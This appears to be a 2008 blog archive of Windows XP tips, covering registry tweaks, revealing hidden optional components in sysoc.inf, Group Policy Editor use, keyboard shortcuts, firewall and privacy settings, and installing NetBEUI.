I first mentioned this technique in an old Technology Showcase for Windows 2000, but it still works in Windows XP, and can be quite useful: For some reason, Microsoft has removed the ability to specify which Windows components you want to install during interactive Setup, and when you go into Add/Remove Windows Components in the Control Panel, you still don't have the full list of applications and applets you can add and remove. Thankfully, this is easy to fix.
To dramatically expand the list of applications you can remove from Windows XP after installation, navigate to C:\WINDOWS\inf (substituting the correct drive letter for your version of Windows) and open the sysoc.inf file. Under Windows XP Professional Edition, this file will resemble the following by default:
[Version] Signature = "$Windows NT$"
DriverVer=06/26/2001,5.1.2505.0

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
msnexplr=ocmsn.dll,OcEntry,msnmsn.inf,,7
smarttgs=ocgen.dll,OcEntry,msnsl.inf,,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
Games=ocgen.dll,OcEntry,games.inf,,7
AccessUtil=ocgen.dll,OcEntry,accessor.inf,,7
CommApps=ocgen.dll,OcEntry,communic.inf,HIDE,7
MultiM=ocgen.dll,OcEntry,multimed.inf,HIDE,7
AccessOpt=ocgen.dll,OcEntry,optional.inf,HIDE,7
Pinball=ocgen.dll,OcEntry,pinball.inf,HIDE,7
MSWordPad=ocgen.dll,OcEntry,wordpad.inf,HIDE,7
ZoneGames=zoneoc.dll,ZoneSetupProc,igames.inf,,7

[Global]
WindowTitle=%WindowTitle%
WindowTitle.StandAlone="*"
The entries that include the text hide or HIDE will not show up in Add/Remove Windows Components by default. To fix this, do a global search and replace for ,hide and change each instance of this to , (a comma). Then, save the file, relaunch Add/Remove Windows Components, and tweak the installed applications to your heart's content.

Cool, eh? There are even more new options now under "Accessories and Utilities" too.
Remove the Shared Documents folders from My Computer
Contributed by Bryan Somerville
One of the most annoying things about the new Windows XP user interface is that Microsoft saw fit to provide links to all of the Shared Documents folders on your system, right at the top of the My Computer window. I can't imagine why this would be the default, even in a shared PC environment at home, but what's even more annoying is that you cannot change this behavior through the shell: Those icons are stuck there and you have to live with it.
Until now, that is.
Simply fire up the Registry Editor and navigate to the following key:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders
You'll see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this, all of the Shared Documents folders (which are normally under the group called "Other Files Stored on This Computer") will be gone.
You do not need to reboot your system to see the change.

Before: A cluttered mess with icons no one will ever use (especially that orpaned one). After: Simplicity itself, and the way it should be by default.
Display the Sharing Tab in Folder Properties
Contributed by Paul Knight
In Windows 2000, getting to the Sharing options for a folder was simple: Just right-click, choose Properties, and you'd see a Sharing tab. In Windows XP, this feature is missing by default, but you can make the system display the Sharing tab if desired. Simply open up Folder Options (My Computer, then Tools, Folder Options) and navigate to the View tab. In the Advanced Settings section, scroll down to the bottom and uncheck Use simple file sharing (Recommended), a Mickey Mouse feature if there ever was one. Now share your folders on the LAN as you would in Windows 2000.
Use the ultimate configuration tool (Professional Edition only)
Contributed by several readers
One of the most full featured Windows XP configuration tools available is hidden right there in your system, but most people don't even know it exists. It's called the Local Group Policy Editor, or gpedit for short. To invoke this editor, select Start and then Run, then type the following:
gpedit.msc
After you hit ENTER, you'll be greeted by gpedit, which lets you modify virtually every feature in Windows XP without having to resort to regedit. Dig around and enjoy!

GPEDIT: It's your best friend for XP configuration.
Use the Windows Sound Scheme
Contributed by Keith Furman
Windows XP ships with a really nice new sound scheme, but it's not loaded by default for some reason. So once you've installed Windows XP, one of the first things you should do is get that new sound scheme loaded.
To do so, open up Control Panel and navigate to Sounds, Speech, and Audio Devices. Then, choose the task titled Change the sound scheme. In the dialog that appears, choose Windows Default for the sound scheme. Windows will ask you whether you want to save the previous scheme, which is usually a brain-dead questions, since no scheme was previously loaded. So choose No, and then click OK to exit the dialog.
Rip high-quality MP3s in Media Player for Windows XP (MPXP)
Contributed by Mark Elder, updated by Paul Thurrott
The relationship between Media Player for Windows XP (MPXP) and the MP3 audio format is widely misunderstood. Basically, MPXP is able to playback MP3 files out of the box, but encoding (or "ripping") CD audio into MP3 format will require an MP3 plug-in. During the Windows XP beta, Microsoft supplied a sample MP3 plug-in for testing purposes, but it was limited to 56 Kbps rips, which is pretty useless, leading some to report that Microsoft was purposefully hobbling MP3 to make its Windows Media Audio (WMA) format look better. This is not the case.
To enable MP3 encoding in Windows XP, you'll need to to purchase one of three MP3 Creation Add-on packs for Windows XP. For more information, please visit the Microsoft Web site.
Speed up the Start Menu
Contributed by Paris Paraskevas and Jarrett Miller
The default speed of the Start Menu is pretty slow, but you can fix that by editing a Registry Key. Fire up the Registry Editor and navigate to the following key:
HKEY_CURRENT_USER \ Control Panel \ Desktop \ MenuShowDelay
By default, the value is 400. Change this to a smaller value, such as 0, to speed it up.
If this doesn't work for some reason, then you might try the following: Navigate to Display Properties then Appearance then Effects and turn off the option titled Show menu shadow. You will get much better overall performance.
Enable ClearType on the Welcome Screen!
Contributed by Erdim Tanyeri
As laptop users and other LCD owners are quickly realizing, Microsoft's ClearType technology in Windows XP really makes a big difference for readability. But the this feature is enabled on a per-user basis in Windows XP, so you can't see the effect on the Welcome screen; it only appears after you logon.
But you can fix that. Fire up the Registry Editor and look for the following keys:
(default user) HKEY_USERS \ .Default \ Control Panel \ Desktop \ FontSmoothing (String Value)
HKEY_USERS \ .Default \ Control Panel \ Desktop \ FontSmoothingType (Hexadecimal DWORD Value)
Make sure both of these values are set to 2 and you'll have ClearType enabled on the Welcome screen and on each new user by default.
Stop Windows Messenger from Auto-Starting
Contributed by Kevin Mazzone
If you're not a big fan of Windows Messenger, you can use the tip "Add/Remove optional features of Windows XP" above to remove it, or simply delete the following Registry Key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\MSMSGS
Display Hibernate Option on the Shut Down dialog
Contributed by Graham Vosloo
For some reason, Hibernate isn't available from the default Shut Down dialog. But you can enable it simply enough, by holding down the SHIFT key while the dialog is visible. Now you see it, now you don't!

Why this isn't just there by default is unknown.
Mo' tips!
I'm looking for more good tips! So if you've got something interesting

Visit the Gateway Windows XP Info Center

2008-06-13T05:14:00.002-07:00

Visit the Gateway Windows XP Info Center
If you have recently installed Windows XP or are thinking about upgrading to Windows XP, check out Gateway's Info Center for Windows XP today.
Most folks know Gateway only as a maker of personal computers, but the company also offers learning tools to help you use Windows XP, accessories, and -- for owners of Gateway machines -- great technical support. The Windows XP Info Center will help you figure out just what sort of tools you need to start ruling the digital universe, whether you do so from a desktop PC or a notebook.
Click here to visit Gateway's Windows XP Tips and Info Center.
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Change Out Your Pointer Scheme
Tired of seeing your pointer as an arrow or an hourglass all the time? Windows XP offers a number of alternative pointer schemes, such as Dinosaur, Ocean and Sports.
Open the Control Panel, double-click Mouse, and select the Pointers tab. (If you start in Category view, select Appearance and Themes, then click Mouse Pointers under "See Also.") Next to Schemes, click the down arrow and select a scheme to preview its pointers. Click OK to apply the scheme to your desktop. Simple as that.
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Check Out the Read1st File First
When you’re ready to install Windows XP, what are the first two things you should do? First, place the installation CD into your CD drive, but do not start Setup. Instead, click Browse this CD, open the file named READ1ST.txt, and then go read it. This file contains a variety of useful information including:
• Last minute information that did not make it into other documentation.
• Selected pre-installation information.
• A roadmap that will help you find other useful text files.
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Use the ultimate configuration tool (Professional Edition only)
One of the most full featured Windows XP configuration tools available is hidden right there in your system, but most people don't even know it exists. It's called the Local Group Policy Editor, or gpedit for short. To invoke this editor, select Start and then Run, then type the following:
gpedit.msc
After you hit ENTER, you'll be greeted by gpedit, which lets you modify virtually every feature in Windows XP without having to resort to regedit.
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Want to remove MSN Messenger?
A lot of people want to know how to remove the MSN Messenger service from XP... here's how:
Locate SYSOC.INF in the \Windows\INF folder (hidden file and folder), Open it in Notepad and locate the line: msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
Remove the word "hide" from the line and save the file. You will now have an entry in add/remove programs. Do what you will :)
OR (XP Pro Only) leave it installed, but tell Windows to never let it run. If you're running XP Professional, you can use GPEDIT.MSC to prevent Messenger from loading. Otherwise, even disabling it in startup won't cause it to "always" not run. NOTE: Outlook, Outlook Express and some Microsoft web pages can still make it load.
• Start, Run and enter GPEDIT.MSC
• Computer Configuration > Administrative Templates > Windows Components > Windows Messenger
• You can now modify whether it starts initially and/or whether it's to run at all.
UPDATE: I have recieved some email that say this fix slows down outlook when starting, that is because outlook wants to start messenger when it starts, the easiest and fastest way to disable messenger and still have a quickj starttime with outlook is to rename the exe file, located here c:\program files\messenger\msmsgs.exe, to something other than msmsgs.exe, such as msmsgsnew.exe.
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Know your rights
Windows XP comes bundled with Windows Media Player 8.0. While Media Player plays just about any digital media file format--it supports 35, including MP3, it records music only in the Windows Media Audio, or WMA, format. The reason? Content protection.
When recording, or ripping, music from CDs, Media Player allows you to make protected recordings so that no one will be able to copy the recording from one computer to another. You can turn copy protection on or off on the Copy Music tab by checking or unchecking the box that says Protect Content.
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Protect your identity
Like many other audio players, Windows Media Player rushes out to the Internet to find information for you when you play a CD. Some of this information, such as song titles and album art, is useful, but Media Player also identifies your copy of Media Player to the site where it's getting data. Why? According to the help file, "The server uses this unique identifier to monitor your connection. By monitoring your connection, the server can make adjustments to increase the playback quality and to alert you about events that occur when receiving streams over the Internet."
If you're disturbed by this exchange of information, here's how to stop it. In Windows Media Player, click Tools > Options and go to the Player tab. Notice the option that says "Allow Internet sites to uniquely identify your player?" Turn it off.
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Group and Ungroup Similar Taskbar Items
Just open three or four Internet Explorer windows and you won't see them all in a row on your Taskbar, as you did in previous versions of Windows. By default, Windows XP groups similar items on one button. For example, if you have 3 Internet Explorer windows open, you'll see an Explorer item with the number 3 on it. Click it to see a pop-up list of those windows, then select the one you want.
If you would like, Windows XP will display all open windows separately on the Taskbar. Right click a blank area of the Taskbar and select Properties. Under Taskbar Properties, deselect Group Similar Taskbar Buttons, then click OK.
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Turn back the clock
Gray is definitely out. The folks at Microsoft bathed Windows XP in color. Don't like XP's look? To switch back to the Classic look that resembles Windows 2000, right-click the desktop, select Properties, click the Themes tab, and choose Windows Classic from the drop-down list. Voilà! You're back to comfy shades of blue and gray--not to mention having all those familiar icons.
Click "Switch to Classic view" in the upper-left corner of the Properties dialog to bring back the familiar Control Panel icons of earlier versions of Windows. To get back to a Start menu that looks more like Windows 2000's, right-click in an empty portion of the Start menu's left-hand column, select Properties, and go to the Start Menu tab. Select Classic Start Menu. To bring the new look back, just reverse these steps.
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Customize the Start menu
The Start menu gets more real estate in XP than in previous versions, and it's more customizable. To make the Start menu display only the applications you want, rather than the default determined by Microsoft, right-click in an empty section of the Start menu's left column, and select Properties > Start Menu > Customize. Here you'll find a list of your most frequently used programs. (XP keeps track of what you use and what you don't, then updates this list dynamically.) Don't want your boss to know that Pinball, Solitaire, and Quake all make your list? Go to the General tab, click Clear List, and set the counter to zero.
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Swap out the defaults
In XP, your favorite programs are displayed in the top left column of the Start menu. Microsoft starts you off with Internet Explorer and Outlook Express.
Want to display a different set of applications in this spot? Right-click an empty portion of the Start menu's left column and select Properties > Start Menu > Customize. At the bottom, deselect the program you no longer want displayed in the "Show on the Start menu" dialog, and, using Windows Explorer or My Computer, navigate to the program you want instead. Right-click the program and select "Pin to Start menu." To rename the new shortcut, right-click it and select Rename. Note: You can't pin files, just programs.
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Organize your desktop
The only default icon on XP's desktop is the Recycle Bin, but we think it's a good idea to add a shortcut to Computer Management, a quick and dirty way to get to such important tools as the Event Viewer, Local Users and Groups, Shared Folders, the Device Manager, and Disk Management. To surface this handy management dialog, click Start > Control Panel > Performance and Maintenance > Administrative Tools. Right-click the Computer Management shortcut. Select Copy from the dialog menu. Right-click an empty portion of the desktop and select Paste Shortcut. Use this procedure to add shortcuts to anything else; use Windows Explorer or My Computer to find your target
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Turn on your firewall
Microsoft included a firewall in Windows XP to keep you safe from hackers while you cruise the Internet. How do you know that the Internet Connection Firewall is on? Go to the Control Panel and double-click the Network Connections icon. In the dial-up, DSL, or cable connection dialog that appears, check the Status column. If your firewall is on, it should say Firewalled. You can turn the firewall off with the check box, but unless you are going to add a third-party firewall for heightened security, it's best to leave it on.
Now that you know that your firewall is on, how do you know that it's doing its job? Test it with ShieldsUp, the free testing service sponsored by Gibson Research. According to our tests, XP's Internet Connection Firewall kept the computer in full stealth mode. Hackers could not break in and couldn't even see the computer online.
But, given the latest security problems with USB 2.0, etc, you should always go to Windows Update to make sure you have the latest patches, no matter what operating system you use.
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Microsoft Narrator
Want to hear your computer talk? Select Start, Programs, Accessories, Accessibility, Narrator. Or press the Windows key plus the letter "U" to open the Utility Manager. Microsoft Narrator, an accessibility option designed to assist readers who are blind or have impaired vision, starts automatically.
Once you've read through the intro screen (or let the Narrator do it), click OK and you'll see a dialog box of Narrator options. Assuming you want to leave Narrator running, select the desired options, then minimize its dialog box. And if you've opened the Utility Manager, feel free to close it.
To turn Narrator off, click the Exit button or right-click its taskbar item and select Close.
________________________________________
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Internet Connection Sharing
To enable Internet Connection Sharing on a network connection:
1. Open Network Connections.
2. Click the dial-up, local area network, PPPoE, or VPN connection you want to share, and then, under Network Tasks, click Change settings of this connection.
3. On the Advanced tab, select the Allow other network users to connect through this computer's Internet connection check box.
4. If you want this connection to dial automatically when another computer on your home or small office network attempts to access external resources, select the Establish a dial-up connection whenever a computer on my network attempts to access the Internet check box.
5. If you want other network users to enable or disable the shared Internet connection, select the Allow other network users to control or disable the shared Internet connection check box.
6. Under Internet Connection Sharing, in Home networking connection, select any adapter that connects the computer sharing its Internet connection to the other computers on your network.
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Watch your cookies
In XP, the Documents And Settings folder holds all user information, including configuration settings, favorites, and cookies. The Documents And Settings\Username\Cookies folder is where XP stashes cookies. How do you control the number of cookies you allow on your system? Click Start > Control Panel > Network And Internet Connections > Internet Options. Click the Privacy tab, then use the slider bar to modify your cookie settings. For instance, you can block cookies from sites that use personal identification without your consent. To increase your security, try out the other privacy settings in this dialog. The lowest level is Accept All Cookies while the highest is Block All Cookies, with low, medium, medium-high, and high settings in between. (An explanation of each appears as you move between settings.) Keep in mind that rejecting cookies may limit your actions on some Web sites, and some sites use cookies to track how many times you see a popup, for example, on this website, if you blocked cookies, you would see a popup on every page.
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The omnipotent Administrator
When you use Windows XP, you belong to one of two groups: Administrators or Users. Administrators are all-powerful: if you have a so-called Admin account, you can make systemwide changes and change other users' accounts. While this power is a boon to the ego, it's also dangerous. If, for example, you encounter a virus, a Trojan horse, or a worm while you're logged on as Administrator, you could wreck all the accounts on your entire system. Log in as User, on the other hand, and any damage you cause will be less extensive, because ordinary users are prevented from making systemwide changes. A word to the wise: Do your everyday computing as a regular user and log on as Administrator only when it's absolutely necessary, such as when adding a new user or changing security settings. To sign on as User, use the Run As command: just right-click a shortcut and select Run As. As long as you know the username and password, you can sign on as another user.
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Reduce Temporary Internet File Space
The temporary internet files clutter your hard drive with copies of each page visited. These can build up over time and take up disk space. Even more bothersome is that instead of getting new pages each time IE often takes the page out the temp internet files. This can be a problem if you are viewing a website that is updated all the time. If you are on a slow connection such as a 56K or lower then this can be good but if you are on a fast broadband connection, like me, then you can get away with decreasing the size of your temp internet files to just one meg without any performance decrease.
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Launch Internet Explorer.
Select the Tools from the menu bar. Then select Internet Options... from the drop down menu. Once the internet options has loaded click on the general tab. Under the temporary internet files section click the settings button. A settings window will load. Slide the slider all the way to the left so the size indicated in the text box on the right is one. Click OK Click Ok
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Turn Off System Recovery
Right click on My Computer and choose Properties. Click on the System Restore tab and check the box Turn off System Restore. (This will increase Windows performance & save disk space)
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Enable / Disable Firewall
Open Control Panel and double click on Network Connections. In the new box that appears right click on the Connection and click on the Advanced tab. Check or uncheck the box according to your desire.

How to Install the Netbeui Protocol on a Windows XP-Based Computer

2008-06-13T05:14:00.001-07:00

This article describes how to install the NetBEUI protocol on a Windows XP-based computer. This may be useful because the NetBEUI protocol is not included in the list of installable protocols in Windows XP even though the files that are needed to install the protocol are included with the installation CD-ROM. It is important to note that the NetBEUI protocol is not supported on Windows XP.
The Netnbf.inf and Nbf.sys files are the files that are needed to install the NetBEUI protocol. To install the NetBEUI protocol:
1. Click Start, click Control Panel, and then double-click Network Connections.
2. Right-click the adapter you want to add NetBEUI to, and then click Properties.
3. On the General tab, click Install.
4. Click Protocol, and then click Add.
5. Click Have Disk, insert your Windows XP CD-ROM, open the Valueadd\msft\net\netbeui folder, click the Netnbf.inf file, and then click Open.
6. Click OK, and then click OK to complete the installation

Windows XP Technical Overview

2008-06-13T05:11:00.001-07:00

Windows XP is the next version of Microsoft Windows beyond Windows 2000 and Windows Millennium. Windows XP brings the convergence of Windows operating systems by integrating the strengths of Windows 2000—standards-based security, manageability and reliability with the best features of Windows 98 and Windows Me—Plug and Play, easy-to-use user interface, and innovative support services to create the best Windows yet.
This article provides a broad technical overview of what’s new in Windows XP. It shows how new technologies and features make it easier to get work done, share information, manage your desktop, stay productive while traveling with a mobile computer, obtain help and support, and perform many other computing tasks.
Windows XP is built on an enhanced Windows 2000 code base, with different versions aimed at home users and business users: Windows XP Home Edition and Windows XP Professional. Unless otherwise noted, this article addresses technologies and features common to both versions of the operating system.
Click here for more.

My Favorite Tips for Windows XP SP2

2008-06-13T05:10:00.002-07:00

Jan 01 2005-Windows XP Service Pack 2 (SP2) is a big deal. It provides immediate benefits, but it also comes with some potential pitfalls. Before you do a mass rollout of XP SP2, arm yourself with my favorite tips and tricks for deploying SP2 and dealing with some difficulties you'll likely run into after you deploy it.
Click here for more.

Make Use Of Your Windows Key

2008-06-13T05:10:00.001-07:00

The Windows logo key, located in the bottom row of most computer keyboards is a little-used treasure. Don't' ignore it. It is the shortcut anchor for the following commands:

Windows: Display the Start menu
Windows + D: Minimize or restore all windows
Windows + E: Display Windows Explorer
Windows + F: Display Search for files
Windows + Ctrl + F: Display Search for computer
Windows + F1: Display Help and Support Center
Windows + R: Display Run dialog box
Windows + break: Display System Properties dialog box
Windows + shift + M: Undo minimize all windows
Windows + L: Lock the workstation
Windows + U: Open Utility Manager
Windows + Q: Quick switching of users (Powertoys only)
Windows + Q: Hold Windows Key, then tap Q to scroll thru the different users on your PC

XP Animations

2008-06-13T05:09:00.004-07:00

You can turn off window animation ("exploding" windows), displayed when you play around with minimizing/maximizing open windows. This makes navigating Windows 95/98/ME/NT4/2000/XP a lot quicker, especially if you don't have a fast video controller, or if you got tired of seeing it all the time (like I did). :)
To do this, run Regedit (or Regedt32) and go to:
HKEY_CURRENT_USER | Control Panel | Desktop | WindowMetrics
or if you are the only user of your Windows computer go to:
HKEY_USERS | .Default | Control Panel | Desktop | WindowMetrics
Right-click on an empty spot in the right hand pane. Select New -> String [REG_SZ] Value. Name it MinAnimate. Click OK. Double-click on "MinAnimate" and type 0 to turn OFF window animation or 1 to turn it ON. Click OK. Close the Registry Editor and restart Windows. Done.
TweakUI, the famous Microsoft Power Toy [110 KB, free, unsupported] can also turn off animated windows.
Just remove the check mark from the "Window Animation" box under the General tab.